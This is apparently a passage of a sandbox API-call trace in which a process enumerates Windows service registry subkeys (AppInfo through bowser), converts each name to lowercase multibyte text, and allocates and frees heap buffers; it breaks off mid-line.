WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0232.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.908] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0232.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0232.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.908] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0232.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0232.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.909] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0232.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0232.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.909] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0232.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0232.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.909] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0232.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0232.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0232.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.909] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0232.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0232.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a48, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0232.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.910] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0232.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0232.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.910] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0232.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0232.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.910] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0232.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0232.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0232.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.910] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0232.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0232.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.911] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0232.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0232.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.911] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0232.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0232.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.911] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0232.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0232.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.912] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0232.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0232.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.912] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0232.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0232.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.912] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0232.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0232.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.912] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0232.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0232.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.913] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0232.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0232.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.913] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0232.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0232.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.913] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0232.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0232.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 